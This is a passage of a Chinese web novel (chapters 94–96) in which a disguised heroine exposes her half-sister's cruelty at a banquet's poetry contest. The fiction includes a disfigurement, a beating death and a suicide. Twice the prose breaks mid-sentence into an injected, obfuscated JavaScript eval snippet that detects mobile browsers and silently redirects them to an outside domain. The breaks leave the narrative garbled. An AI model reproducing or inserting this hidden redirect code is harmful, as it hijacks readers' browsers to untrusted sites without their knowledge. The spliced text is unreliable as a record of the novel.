她明面上不动声色,内心却波涛汹涌,因为这护身符的渊源……实在是沾染了太多邪气。她和魏家人都对此心怀忌惮,要不然,也不会四处求得高人的符咒以求心安了。 94. 春宴风波(2) 魏澜清藏在鬓下的耳垂发抖,她反复细嚼着方才金玉圆与婆子所说的话,发现自己无路可退,如果胡编乱造、刻意隐瞒护身符来历,大家都会怀疑她便是奸细……如果她坦然说出,她塑造许久的形象只怕会崩塌得干净,魏家的名声也会被毁掉许多。 她若是交出护身符……她以后要如何跻身名流? 刘玉鱼催促了:“魏小姐,快说吧。莫非……这护身符还能有什么见不得人的秘密?” 魏澜清咬咬牙,事到如今,她也发现了,金玉圆之所以选择抛物溯源这个游戏,八成是提前查过了她的底细,所以要以这种方式当众侮辱她吗? 即便如此,她也只好哑口不言,因为金小姐是她得罪不了的人,而且就算她告诉了夫君此事,在外人眼里,金小姐在酒宴上还特地与她组队,增多诗魁名额,有意助她。 金小姐届时装作无事发生,倒打一耙,她倒是成了个无理取闹的女人。 这哑巴亏,她不得不吃。 罢了,她已经是安南都督的未婚妻了,父亲也常常教诲她,嫁出去的女儿泼出去的水,只要把责任全部推给魏家和那个命短的妇人,她自然还能安稳地立身于此。 她清了清嗓子,装作可怜模样道:“实不相瞒,这段时间里,家里死过人。” 魏郁春目光顿了顿,心想,难道,这护身符跟她有关?也有些惊讶,魏澜清是怎么敢对着这么多人的面谈及她的事情。 她以为,“这段时间家里死过的人”是她自己。 诸位贵女被魏澜清的话音引走了注意力,纷纷问道:“死的人是哪位?莫非化作了怨鬼来讨债?!” “是我父亲的小妾。” “小妾?!” “看来魏学士的过去也够香艳,跟传闻中的不太一样啊。” 金玉圆面色也凛住了。 而魏郁春此时早已大脑空白——死的人不是她,那到底是谁。 小妾……魏府的小妾,魏仲傅的小妾……还能有谁?! 是她的母亲?!不,不,怎么可能?! 明明,她早已替她的母亲丧命了,魏仲傅明明答应过她?!食言了,这些恶鬼食言了!是啊,他们都是恶鬼,她怎么傻到相信她们会信守承诺。但这对魏家有什么好处?!她死了便罢了,母亲在府中生活多年,接触的人甚多,一旦事发必会招惹麻烦,毕竟世上哪有不透风的墙? 如今正值魏澜清与安南都督的婚期,魏家对此竟还是毫不避讳?!他们……比恶鬼还要恶毒百倍!魏郁春怎么都没想到,事情会以这样的方式进展。 席下小姐家中父亲小妾成群者多了去,她们好似不以为然,道:“小妾为了争宠以命相抵,用邪术诅咒家中人的事情,我们也屡见不止了。” 魏澜清还未说到此处,但也有意向要顺从话题走向捏造事实模样。 可此时,一项缄口不言语的魏郁春却突然说道:“家中人不做亏心事,又岂会平白无故地冒出怨鬼来。” 她语气很是沉重,眼神里也多了很多怨气,好像突然之间变了个人似的,把退出诗会没多久,坐在席后的少女吓了一跳。 龚婷悄悄戳她的背:“钱小姐,你怎么了?” 众人皆看向了她,目露可疑,金玉圆也觉得莫名其妙,魏澜清转过头来,看向这个陌生的女子。魏郁春面纱遮面,唯有一双漂亮的大眼睛露在外面,但本该圆润温和的双目却隐隐弥漫着叫人看不懂的冷意。 此时,她悲愤交加,眼中透露的情绪破开朦雾,任谁都看得出她此时极其生气,她的敌意也很是明显。可她到底要怎么去克制? 她已经控制不住自己了,一时根本不知道此事所做之事到底是对是错。 她的眼里只有憎恶的魏澜清,心里只有自己那可怜的母亲。她目光含了泪水,但一直忍住没让它们落下来,已是不易。 金玉圆顿住,她心里对魏家的事情有些了解,但不懂身为钱小姐的魏郁春为什么要有这么大的反应。魏澜清则更觉得奇怪了,她与此女没有任何交际,却感觉对方总与自己不对付。 是那种不同于旁人的“不对付”。 金玉圆:“的确如此,毕竟也有那种家主虐待小妾的事常常发生。” 她继续道:“我听说,魏家的确有一位常年不受宠的妇人,深藏宅院不出府门,好似就是这位死去的妇人吧?” 魏澜清闻言,清楚了金玉圆知道的事情更多,她便放弃了捏造事实的打算,点头道:“那小妾出身卑贱,我父亲很快就对她丧失了兴趣,常常冷落她。” “她是怎么死去的?” 魏澜清装作无辜:“许是自戕,那段时间我并不在府内。” 魏郁春闻得此言,犹如突遭晴天霹雳。可她却根本不知道,母亲到底是不是真的自戕而亡,她突然变成了陌生的局外人,什么也不知,只能躲在阴暗之处,道听途说,实属凄凉。 母亲……难道是为了她而死么?可她之所以选择死去,都是为了能让母亲活下去,母亲都明白这些,她懂母亲……可殊不知,母亲活下去的唯一希望便是女儿…… 一股无法言明的愧疚之意油然而生,她发出疑问——娘,我当初真的做对了么? 可是,我那时也活不下去了…… 此时,事情发生了反转。 金玉圆冷笑了一声:“好像不是自戕吧?魏小姐,你怎么多次口误呢?” 魏澜清哑然,她叹息一声:“金小姐果然神通广大,那小妾是被我父亲打死的,家中惶恐,我又婚期在即,便请了护身符在我身上。” 此言一出,全场哗然。 “魏学士竟是这样的人物!” “我的天呐,魏学士好似与我爹相识,我得回去跟我爹讲,让他离这种人渣远点!真是虚伪!” 刘玉鱼也哽住了:“虽然死去的只是个小妾,但也是一条无辜的人命,魏小姐难道不觉得愧疚么?再者,你方才为何不这样说呢?” 魏澜清忽地抹起泪来:“出门在外不可扬家丑,我婚期在即,父亲动手时,刻意避开我,事发许久后我才得知此事……初至京城,孤身一人在外,深怕家中之事引得诸位姐妹们对我不满,顾虑之重重,我……不敢讲,也不能讲罢了。” 金玉圆沉默了,她查明魏澜清底细时,觉着魏家人表里不一,魏澜清的做法又引她不快,她便下意识认为魏澜清必也不是善茬。今日酒宴,她本想借此戳她一把,谁料到,魏澜清这番说法下来,证明了她与魏府脏事并无干系。 诸位对魏澜清有敌意的贵女们也安静了下来,魏澜清形容可怜,若非深知其人的人,第一反应定是同情。 有人叹息:“不过是小妾死了,没什么大不了的,而且不过是你爹为人歹毒,跟你有什么关系?这种事情就不需要连坐了。” “也是,婚期在即了,谁都不想染脏事吧,魏小姐看着柔柔弱弱的,哪里像帮凶?” 金玉圆瞥了哭得伤心的魏澜清,不得不承认,她对她的厌恶之心比最初少了些许,但又想到一些不妙的往事,她还是不肯咽下气,对魏澜清不可能提上好感。 她想要打岔,眼神示意婆子们上去敲响铜锣,进行第三轮掷骰子的活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447437|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动。 众位贵女们也都纷纷散去了注意力,提紧心神,准备斗诗。 谁知,席中一道重重的声音打破沉默。 “你真的是无辜的么?” 说话人是魏郁春。 金玉圆越发觉得奇怪,提声:“钱小姐?” 魏郁春却不理会她,眼睛越来越红,死死瞪着柔弱而不能自理的魏澜清,活像是匍匐的饿虎盯紧了猎物一般,带着某种以生命作威胁的不明力量。 这股力量深深地影响到了魏澜清。 虽然跨越的距离很远,让她几乎看不清魏郁春的面貌,而魏郁春的面容恰好又被一张面纱遮住,这种朦胧感往往营造出了更引人遐思的画面——比如,她在魏郁春身上看到了故人的影子。 伸手不见五指的黑夜,她曾经扭曲着面容,疯了一般提着匕刃,雀跃地听着一个被她与仆人们牢牢牵制在地的女子,凄厉的哭闹声……她划伤了她的脸,带着诅咒与浓浓的嫉妒心,咒骂她—— “死贱人!长得和你娘一样贱!” “你出尽了风头,打了我的脸,是不是还想与我抢夺夫君!贱人!看我不把你的脸刮坏,叫人人都怕你这个丑八怪!” 她终于把那贱人逼死了,听闻那贱人自己爬上了山庙,在立马偷偷自缢了,死状惨烈,尸体都没要回来,直接丢在庙旁边,请了山上的野户偷偷埋了。 后来,她日日夜夜都做起噩梦,但是她不后悔,因为她已经如愿以偿地当上了安南都督的夫人,是未来旁人高攀不上的贵族。她怎么会后悔自己曾经那么狠毒?她只是在恨,当初就不该让父亲答应那贱人收容她母亲。 她母亲也是个贱得不能再贱的贱妇! 那贱妇在府中游荡,时而哭时而闹,好似疯了,有时候也不睡觉,喜欢满府的跑,夜晚里常常听到那贱妇又哭又笑的声音。看着那贱妇的脸,听着那贱妇的声音,她便会想起她。 那妇人被打死的时候,她当然在场,因为那贱妇的脸与那贱人有七八分相像,看着妇人哀嚎痛哭、慢慢被折磨死去,她只觉得快乐,就好像第二次将那贱人逼死了。 贱妇死了,她不做恶梦了,反倒是她父亲做起了噩梦,毕竟她的父亲也出了不少力,最后有些做贼心虚,还害怕此事会惊动关家,叫自己丢了天大的攀附的机会。一家人四处求神,让女儿佩上了这只抵御恶鬼怨鬼的护身符,嘱咐她万事小心谨慎,不可说出口。 但好似此事没有瞒得过金小姐,也不明白这位金小姐到底为什么那么针对她?哼,怕不是嫉妒她寻上了这等好的夫君?她讥笑着,但不得不端起不属于自己的才女架子,捧着她,拍着她的马屁…… 如今事情败露,她却丝毫不难过,死的就是个贱妇,别人要怪也都怪她父亲,跟她有什么关系?如果父亲还想靠她升官加爵,即便恼怒却也不会为自己开脱。 她庆幸魏家逼死魏郁春这个贱人时,手段厉害,没让任何外人瞧见马脚。只要那贱人的事情不败露,她便可以无畏无惧地享受一辈子荣华富贵了。 眼看着自己垂泪的模样骗过了包括金玉圆以内几乎所有的贵女,她不禁洋洋得意。 可,她怎么都想不到,这位名为钱雀的小姐,悖言乱辞的,不知要闹什么明堂。 更可怕的是,她总觉得此人,像极了那个贱人。这种感觉,刺中她的脊梁背,阴阴森森,迟来的负罪感让她紧张起来。 如今,不只是耳垂,就连她的嘴唇也忍不住颤抖了,她哆哆嗦嗦起来,小声念出一个曾经令她日夜难寐的名字。 “魏……郁……春……” 95. 春宴风波(3) 一瞬间,魏澜清感觉自己又回到了那个,充满罪孽的夜晚。满脸烂肉飞血的女子被她按在地上,瞪着骨碌碌的眼珠子,突然停止了凄厉的叫喊,弯着诡异的笑容,问她:“你真的是无辜的吗?” 诡异的笑容伴随着“咯咯咯”的声音一起挤入她的脑海,阴郁的咒怨还在重复…… “你真的是无辜的吗?” “你真的是无辜的吗?!” “你不是无辜的!” …… 魏郁春,贱人……你回来了吗?! 那股疯劲儿突然涌上来,她一时险些主动脱下伪装,当场站起来,对着那带着面纱,神色不明的女子咆哮——“你是不是那贱人!” “那贱人回来了?!” “哈哈哈哈哈!回来好,回来得好!再弄死你一次又怎么样?!” “死贱人!” 她身边的柳如蕙被这种突如其来的阴森感吓了几吓,她撇头一看,看到魏澜清双眼血丝遍布,浑身战栗,察觉她身上好似冒着腾腾的怨气,感觉和最开始认识的那个人人好欺的魏氏全然不同。 她叩了叩魏澜清的桌子,还是有些没好气地跟她说话:“你在做什么?抖成这样了!酒水都要撒了!” 幸亏柳如蕙出手,将魏澜清唤回现实,她才没有任由骨子里的疯气发作。 她挤出个笑容来:“冒犯柳小姐了,我赔不是。” 金玉圆头一次摆出了一副不好惹的神色,皱着眉头,鼻翼牵动鼻尖微微上翘,这是在对魏郁春无视她的行为感到不悦。 魏郁春见魏澜清移开目光,她才稍有回神,身后默默戳她的龚婷急得快直跺脚,一直压着声音喊她名字。 “钱小姐!钱雀,你快跟金小姐赔不是呀!” 魏郁春回神,她眼含仓皇,得知方才冲动,懊恼之时,却感到无与伦比的悔意,后悔方才为何没有说出更很厉的话……可她到底不再是从前的自己,身负重任,不可能这么做。她的心绪矛盾无比,压抑到底的心情让她一时连如何哭泣都忘记了。 她连忙起了身,与金小姐欠身赔礼:“向金小姐赔不是了,方才听着故事太过入神,一时竟无法自拔。” “光是嘴上说说便能解我不悦?钱小姐以为我是个脾气甚好的女子么?” 金玉圆带着审视的目光看她,语气带着滑稽之意,好似在逗弄她,又好似在刁难她。 “听闻钱小姐在家中也甚爱作诗作词,才思之敏捷,街坊邻居皆夸口赞叹,今日我一见你出的主意,也不禁哑口,可见钱小姐的才气实属天赐之物。” 金玉圆扬眉,浓眉大眼的她在此时更显满面红光,她对钱雀产生了越来越浓厚的兴趣,甚至想与之比试比试,既了自己的心头芥蒂,还能帮自己消解好奇心,何乐而不为呢? “我记得第一轮比试中,是柳小姐得的功劳,我却未见你开口说下半句话,想来想去,有些不大公平。” “不如,第三轮便不掷骰子了,我想亲自与钱小姐比试一场。” “不知钱小姐可否赏脸?” 诸人神色兴奋,好似在等待一场绝妙的好戏开场。 魏郁春保持着谦虚之态,委婉道:“如此一来,怕是会坏了规矩,小女怕自己一时的贪心亮相,惹得诸位姐妹们心中不快。” “莫不是怕了?”金玉圆直截了当道,完全不给她面子了。 她转头立即补道:“钱小姐不必忧虑,不过是越过了最前头投掷骰子的环节,接下来的比试还是老样子,二人一组,我与魏小姐一起,你与柳小姐一起,四个人皆得开口作诗,诸位与元老板共同赏诗,公平公正,输赢照着老规矩安排。如此,钱小姐和诸位姐妹们皆没了顾虑,岂不妙哉?” 此话既出,魏郁春再没有拒绝的道理,她欠身应下:“多谢金小姐赐我机会。” “话不多说,开始吧!” 金玉圆亮眸一转,唤上身侧婆子敲锣打鼓,婆子口中念念有词——“第三轮斗诗正式开始。” “请金小姐与钱小姐所代表的队伍出列。” “元老板请出题——” 元老板摇了摇自己拿犹如滚筒般圆润肥腻的大肚腩,抚了抚下巴,咯咯笑道:“听说魏小姐有个响当当的名头,春生才女,我对此深感兴趣,不如,取题春生吧!” 众人皆是奇这诗题取得甚妙,紧接着目光又自动索引到了魏澜请身上,魏小姐被众人满含好奇的目光盯得不自在,她敏感的心性使她在重重眼神里觅到了几分嘲弄——“名声那么响亮,结果今儿就露馅了吧?方才她那水平也就那样,怎么有脸担得上才女一称?” 嘲弄声中,还有一些对她不看好的声音,夹杂着看好戏时戏谑的情绪——“春生才女?倒是提醒着我们了,若说方才太过紧张,失误了,我且信一信,但哪有第二次还失误的道理?如今且看这一轮她是如何表现的,若是还不成,那她就是真的无才!才女的名头也就是个噱头!” 魏澜清咬了咬牙,复又狠狠地将目光瞪到了席位末端的魏郁春身上,好似在迁怒。 要不是因为她,她也不会陷入这般难熬的境地。 相较于魏澜清波涛汹涌之状,魏郁春却冷静得似一具没有灵魂的躯壳,那眸子里,清凌凌的,看似亮堂,但其实早成了一滩死水。死水中央貌似还躺了只一直往下凹陷的螺旋状漩涡,有冒着黑烟的怨气咕嘟嘟的从里面喷出去,源源不断。 金小姐依旧是头一个亮相的人物。 她眸色讥诮,掷地有声,很是自信:“镜阁春色独隐雾,宫阙烟津双仙生。” 诗句中的人物,好似沉迷在糜烂的贵族生活无法自拔,雾气缭绕的镜阁中将外界的春色美景拦截,孤身一人的主人公,幻想着有朝一日登顶仙京之宫阙,俯瞰人间之烟津。虽糜烂却不悲伤,主人公自甘沉沦,却对未来事物充满期许,双仙生……好似暗示着糜烂诗句下其实是一段惹人遐想的仙尘禁忌之恋。短短两句,包含诸多情绪,留白之多,叫人幻想良久。 席中贵女纷纷鼓掌祝贺。 其余三人皆绷紧了紧心神,因为这样一句极具金小姐风格的诗句,是极难被超越的。 金玉圆好似真打算与魏郁春较劲,诗句极具难度,没有任何让步,有意要让对方下场的意思。 但芳樱楼的谜底还未揭开,她怎么能在这种时候退避? 但魏郁春如今顶着钱雀的身份,怎么能公然与金玉圆对弈?可她打败不得金玉圆,却不代表她无法打败魏澜清。她对魏澜清极其了解,她甚至无需动几分真格便可将对方压得抬不起头,所以这对她来说,很是容易。 “春昼月梦醉往生,秋帷潺日断危根。” 魏郁春温声道。 以春昼作枕,困梦其中,饮酒醉卧忆往生往事,看似美好,但朦胧不可触及,有人好似困于其中不愿醒来,因为现实中秋风日潺,美好岌岌可危…… 金玉圆闻言,看向魏郁春时的眼神明亮了好几分,外人皆看得出来,她很是赞赏此诗中四溢的灵气。她笑道:“钱小姐年纪轻轻,却作得出这般意蕴深沉的诗,且不空洞,实属少见。” “金小姐这是在夸她有内涵么?” “嘻嘻,好像是……说起来,方才魏小姐的诗缺的不就是内涵吗?金小姐这是一语双关,夸着了钱小姐,也点着了魏小姐,真是有意思。” “不得不说,这钱小姐虽比不上金小姐,但才气十足,也是不可多得的才女啊!” “这么看来,我们京城才是遍地才女,可比野地方的人随意钦点的实在多了。” 席下窃窃私语,但好似完全没有要避讳二位主人公的意思,被夸的人不觉得什么,倒是魏澜清被说得越来越无地自容。 她攥着指尖,看着得意风光的金玉圆与魏郁春,心邪上涨,哪里静得下心作什么好诗? 此时,跟魏郁春一队的柳如蕙也颇为紧张,她一向自负,觉着酒宴上大半才女都比不上她,更不提跟她比起来家世差上很多倍的钱雀了,要不是金玉圆方才偏要点钱雀作诗,接下来出风头的人必还是她。所以她怎么都想不到,方才作出那句诗的人竟是钱雀这等人物,她脸拉不下来,心烦意乱,作出来的诗比方才要弱上很多,规则方改,不出意外,她是要被淘汰了。 结果没想到的是,她跟魏澜清竟打了个平手。 这局该怎么判定输赢呢? 金玉圆很快做出了判断:“诸位和我皆觉得此局该如此排名,一等便是我了,二等为钱小姐,三等则是魏小姐跟柳小姐了。二组必淘汰一人,不如这样,我选柳小姐,钱小姐则选魏小姐,二组各淘一人,各留一人,也算公平?” 席下人对金小姐的判决颇为认可:“如此甚好!” 柳如蕙的脸已经挂不住,满脸涨红,好似猴屁股,被席下贵女忍不住嘲笑了,她旋即哭唧唧地跑到墙根自我清净,选择了弃权。 而魏澜清自是厚着脸皮继续接局了。 金玉圆问魏郁春要挑中魏小姐身上哪样物件。 魏郁春抓住了这好不容易争取来的机会,半点不带犹豫道:“魏小姐带上挂着的玉佩做得精致巧妙,与那只护身符搭配甚好。不如与上局的护身符作个伴,选玉佩好了。” 她话说得巧妙,字字句句没有任何歧义,组合起来,明眼人却都能看得出来其中隐晦的贬意。 席下人闻言纷纷噗哈哈笑起来,就连金玉圆都忍不住哈哈笑了几声。 “噗!这是在讽刺魏氏连输两局?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447438|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这钱小姐看着文文弱弱,嘴巴怎么跟抹了毒药似的!有意思!哈哈哈!” 魏澜清还得维持着自己的人设,她不动如山地坐在原位,她慢慢将身上的玉佩解下,道:“此玉佩乃昨日,我夫君与我共游隆月街灯市时,在街上一间铺子买给我的。” 众人以为还能从这只物件上套出什么跟上一个故事一样刺激的事来,结果,这来源平平无奇,大家唏嘘一阵,皆摆摆手,不感兴趣。但,那是因为她们忘记了,隆月街上有一只赫赫有名的建筑——芳樱楼。毕竟,在芳樱楼出事前,隆月街并不出名,外加贵族闺阁之女几乎从不闲逛花柳之地,所以大家对此不关注也是自然。 魏郁春自是要好好提醒大家一番,她装作讶然之态,明明面上有面纱遮着,她却还要多此一举地举手捂住口鼻,放大恐惧:“隆月街?!” 金玉圆见她一个文静的女子突然失态,也惊愕:“钱小姐这是怎么了?” “诸位可听说过近两个月来,京城最大的案子,芳樱楼杀人纵火案?那赫赫有名的芳樱楼便扎根于隆月街!” 魏郁春作出一副轻抹额角冷汗的模样,好似已经脸色发白,浑身战栗,将要倒地。 此时贵女们听到芳樱楼的案子,齐齐脸色一变,全场鸦雀无声,有些人甚至做出将要干呕的模样出来。 金玉圆也静了静,好似在忍耐着什么劲儿,道:“芳樱楼的案子已成了京城最大的悬案之一,两个月来凶手逍遥法外,那隆月街……” 金玉圆似乎对这条街道很陌生,魏澜清眼见局势不对,旋即补道:“隆月街是通行要道,虽未封塞,但芳樱楼却早在几个月前就被官府封锁了,灯市之事与此楼毫无干系!” 金玉圆顿住,旋即拉住身侧的婆子悄悄问了几句话,然后返回身来:“说得不错。” 魏郁春见局面又安稳下来,却毫不慌张,不紧不慢地演着自己的戏码:“令我惊讶的并非只是芳樱楼之事,而是昨日灯市上出现的异端。” “什么异端?”众人纷纷听出了八卦的前奏,齐刷刷凑过来,就连前头的金玉圆都忍不住往前探探身子,仔细聆听。 早在出发之前,她就向关阇彦了解过昨夜隆月街的情况,当时灯火辉煌,车水马龙,甚至几度出现拥挤之事,踩踏事故频发,在人多眼杂的地方,曾有武员在其中疏通路况,灯市之中,街铺星罗,行人在其中闲逛,宝车则暂停路边不动。在场所有人又皆对隆月街感到陌生,即便金玉圆有极厉害的人脉网可追寻事件的真相,也极难在灯市那种情况下,辨认清楚其中发生的每一个事件的具体情况。 魏郁春也毫不惧怕在场唯一一个知情人——魏澜清。 她的思路若旋风,手指头信手掐掐,便知后事如何。 在这些条件下,魏郁春已是胸有成竹,她信口起来:“我宅中一位嬷嬷昨夜便在隆月街的灯市采买事物,路过最拥挤的路段,那边便靠着近似废墟的芳樱楼,她说那楼中好似有鬼影在动……那鬼影,藏在楼里暗处,偷偷点灯!” “我一听也被吓着了,第二日那嬷嬷便发了高烧,在宅子里晕着不起,府里的先生说是惊吓过度,看到的东西多是幻觉……我以为那楼里的鬼影也是他的错觉。” “本来收拾好了心情参宴,却不想又遇上了隆月街之事,”魏郁春抬着那双无辜的眼,望向魏澜清,同情不已,但也仅限于虚伪,“不知魏小姐昨夜经过那怪楼时可也遇着这怪事?” 她的话真真假假混杂一起,叫人难以辨认。 关阇彦说,昨夜,关昀洲带着魏澜清在芳樱楼外徘徊,疑似用手提花灯传信,也就是说,楼中定有怪人存在。若是魏澜清对此有印象,她听到魏郁春的话后必会有所反应。 魏郁春故意放大了此事的诡异之处,让人觉得玄乎其乎。 她刚说完,有人连忙道,话音有些兴奋又有些后怕:“鬼影?莫非是那群惨死芳樱楼的怨魂厉鬼?!” 也就这种时候,大家对魏澜清的关注度才达到了至高处:“魏小姐你快说说呀!怪楼里面有没有鬼魂点灯啊?!如果有,一定会很明显吧?!好奇死我了!” 魏郁春将大家的注意力全部转移走了,金玉圆也被这等奇闻异事牢牢抓紧了注意力,一时也忘记了诗会上最重要的输赢之事,她也向魏澜清发问:“魏小姐,可有这等怪事发生?早些时候,我便听爹说过,那楼火灾浩浩荡荡,人都是被活活烧死的,少不得转不了世的怨鬼,叫我远离此地呢,如今看来,我爹说得是不错的!” 魏澜清被一堆人叽叽喳喳的话声包裹在正中央,好似连喘气的机会都没有了。 她不得已暂时放下怨气,满脸惶恐,摇摇头茫然道:“我并未看见任何鬼魂!什么都没看见!” 96. 宴夺诗魁(1) 魏郁春藏在众人好奇的眼神后头,揣摩着魏澜清的举动,她露出这般仓皇的神色时,就代表了答案——她是真的什么都不知道。 她跟关昀洲形影不离,同在芳樱楼下,又亲眼目睹未婚夫点灯时的种种动作,她至少应该会看到一些东西才对……有些奇怪,难道关昀洲在防着外人的时候也一直防着枕边人么?他是怎么做到的? 除非,关昀洲与买灯处的摊子早就有所勾结了……内部自有传信,这种事情是说不准的。 魏澜清的一问三不知让魏郁春也感到扫兴了,正当旁人一头雾水之时,她便又有了新的思路。她看到了魏澜清脸上久久不肯褪去的恐色,其中夹在着许多压抑的倾诉欲。 她一看便猜着了,魏澜清不知道一些事情才好,因为不知道,所以她才不会藏着掖着故意隐瞒,在不知情的情况下她反而会疑心大作,她也必会转头将宴会上的所见所闻告诉关昀洲。 关昀洲的第一反应,多半会以为所做之事败露。 若是,芳樱楼里当真有个传信人,他便一定会尽快进行下一步的动作……无论是打算杀人灭口,还是原路返回去楼里找人什么的,对关阇彦来说,都是有利无害之事。只有这样,他才会有办法尽快追踪到关昀洲的秘密。 利用对敌人的了解,编排谎言,以假乱真,让敌人自乱阵脚……魏郁春细细想着自己的做法。 她打算进一步再夸大夸大一些玄乎的事物。 “灯会上常有点灯传情等等这般佳话,那鬼魂的影子也是点着灯,不知是不是巧合?我总感觉,那芳樱楼中暗藏玄机,诡异万分,昨晚嬷嬷出了事,我不由得心惊,迟迟不肯放下心中顾虑……” 魏郁春压着眉头,心有余悸地说着,想以此引起所有人的注意力。 魏澜清刚缓过神来,她顺势想起昨晚,她的夫君亦是点过花灯,但所谓传情,必是夫妻情人之间会做的事情,她初来乍到,哪里知道那隆月街的种种玄机?灯市风俗她也是一概不知,所以昨夜见夫君买了灯具,她也只觉得新奇漂亮,而无甚在意。可如今一听,心里觉得奇怪了,她本就疑心极重,自己还顶着旁人的名头混着日子,一点点异端都足以掀动她心中的波涛大浪。 夫君点了灯,却未给她也买上一盏来?夫君怎会不清楚灯市的佳话,新妇在旁,他怎会迟钝到如此地步?早不点灯,晚不点灯?偏偏要在昨晚灯市上点灯么? 她越想越深入,想起昨夜灯火之下,无数情人在街道上走走停停,一人提着一把花灯,眉目传情……他们都有,唯有她没有? 夫君到底是在与谁点灯传情? 那个人不是自己……魏澜清的秀眉扭曲了几度,仔细将夫君的动作揣摩了个透,发现,昨夜下车是夫君的提议,下车逛灯市买灯具也是他的主意,他在下车前好似就一直绷紧着状态,对车外的事物极度敏感,以至于经常听不清车内她与他说的一些话……甚是诡异,只可惜她那时沉浸在新婚的快乐中,无法自拔,只以为夫君爱自己甚于爱旁人,不曾怀疑过这些。 她只恨现在身不由己,不能立马拔腿回府,寻夫君问个明白。 魏澜清虽然一直未讲话,但魏郁春借着她那细微的表情变化,早已将她的心思预判了个彻底,她的目的已经达到了。 然而话题还未结束,她的那些奇闻已经让席中贵女完全沉浸其中,很多人压抑在心的八卦魂已躁动不安,大家群起而动。 “其实……我一直觉得那芳樱楼的案子根本不是人为之事,否则怎么查了那么久,一直没查出个所以然?那火烧得诡异,瞬间将楼给湮没了,可那楼上下几层,方圆之宏大,怎么可能就在一眨眼间就被烧成了灰烬?试问诸位可见过这般气势汹汹的火灾?” “说得是啊!其实在这场火灾前,那芳樱楼里已经死了太多人了,多是被困于楼的痴情怨妇,入楼前她们被家人欺骗,入楼后被心爱之人欺骗,很多人不堪受辱,自戕了……甚至还有被人玩弄成了病人,楼里为了压住风声,直接活埋死掉的……这些人怨气太重,死后魂魄不愿离去,一直待在楼中,这场灾难并不普通……我觉得就是一场鬼火之灾!这案子哪里有人敢查,怪不得变成了悬案!” “鬼楼里人影绰绰……灯市之时,更甚至还有提灯之鬼在楼上俯瞰……爱提灯传情的能是什么人?多半就是那些身世悲惨的女鬼了!” “芳樱楼再怎么说也是京城第一,里头不知有多少大能大户在其中撑着脊梁柱,你说话小心些!”有人心惊胆战。 而魏郁春也听出了这些女子们,就是先前在她屋外议论魏澜清与安南都督的一批人——皆是一些消息更灵通的官家女子。 在她们说话其间,魏郁春已将捕猎的钩子对准了她们的口风。 席中人议论纷纷。 “京城第一的什么?妓院么?!” “你都没去过这些花柳之地,也不要胡乱传外头一些谣言了!” “什么谣言?你自己明明听得也多,你就是胆子小,不敢承认这些罢了。” “在座中的姐妹们家中非富即贵,耳目通达过人,我不相信大家从未听说过这些传言!” “哪里来的这么多神神鬼鬼的东西?大家难道不知道周尚书那个庶子的事?若非如此,芳樱楼的案子怎么会变成大悬案?所谓鬼神之说,都是不属实的!” 眼看一群少女吵吵嚷嚷,划分两派,闹得不可开交,仿佛下一妙就要大打出手。声音中夹杂着越来越多不可谈论的禁忌之语,那“周尚书”、“庶子”之词在整个花厅里变成了蹴鞠般,被人踢来踢去,怕是闹着闹着便要冲出春桃酒楼了。 “够了!” 金玉圆怒拍了一掌桌案,发髻上的簪花扑簌而颤,玉容之上,尽挤满了不耐烦的情绪,与寻日里的模样大相径庭,可以说,即便是与她相交数年的贵女都不曾见过她如此大发雷霆的模样。 “寻日家中人未曾教过尔等不可在外非议朝中之事的规矩吗?!” “如此闹哄,成何体统?!诸位是嫌自己的声音不够大,巴不得传进圣人的耳里,叫自家的父母亲人头落地?!” 金小姐愠色上脸,连脖子都染上了涨红色,她说话向来直白,却不粗糙,但方才这些话,入了人耳,对于席中面皮薄的贵女们来说何止是粗糙,简直是有些不堪入耳了,好似就差指名道姓辱其没有教养了。 贵女们瞬间安静下来,成了哑火炮仗,互相瞪着不服气的眼,哼哼一声甩袖落座,回头重新站起来欠身,与前头的金小姐行礼赔罪。 这些人也知道自己把金小姐得罪了个透,后头半点动静都不敢弄出来,默默退到席后隐身,默认作了自愿弃权。 一拨闹剧结束,金玉圆落座,她命人为她重新整理仪容仪表,红潮褪去,她便又变成最初那般亲和活泼的模样,好似无事发生,引导起新一局的诗会开幕。 锣鼓声落,骰子落地。二位婆子一唱一和,元老板参合其中,眯眼想诗题。 第四局——“丽人”。 “态浓意远淑且真,机理细腻骨肉匀。” 第四局——“文竹”。 “明月开晚翠,篔筜撑暮薇。” 第五局——“舟仙”。 “风清月白偏宜夜,一片琼田。谁羡骖鸾,人在舟中便是仙。” …… 数局下来,在场参会贵女已成了零星几个。 其中最为瞩目的便是金玉圆、魏澜清与“钱雀”。 在外人眼里,“钱雀”必是今日诗会最大的黑马,她的水平格外稳定,在金玉圆居高不下的情况下,又牢牢将魏澜清死死压在身下,好似压着猴子的五指山般,屹立不倒。 在今日贵女云集的宴会上,一个不起眼的角色,竟然会一而再再而三地掀动水花,让诸人皆称奇不已。 而魏澜清的名声也已被败坏,自先前几局对峙普通不善诗词的贵女赢后,她便再没出过头,每次都被推在将被淘汰的边缘,然后又厚着脸皮将身上的物件一个一个取下,用它们的渊源换取自己诗会 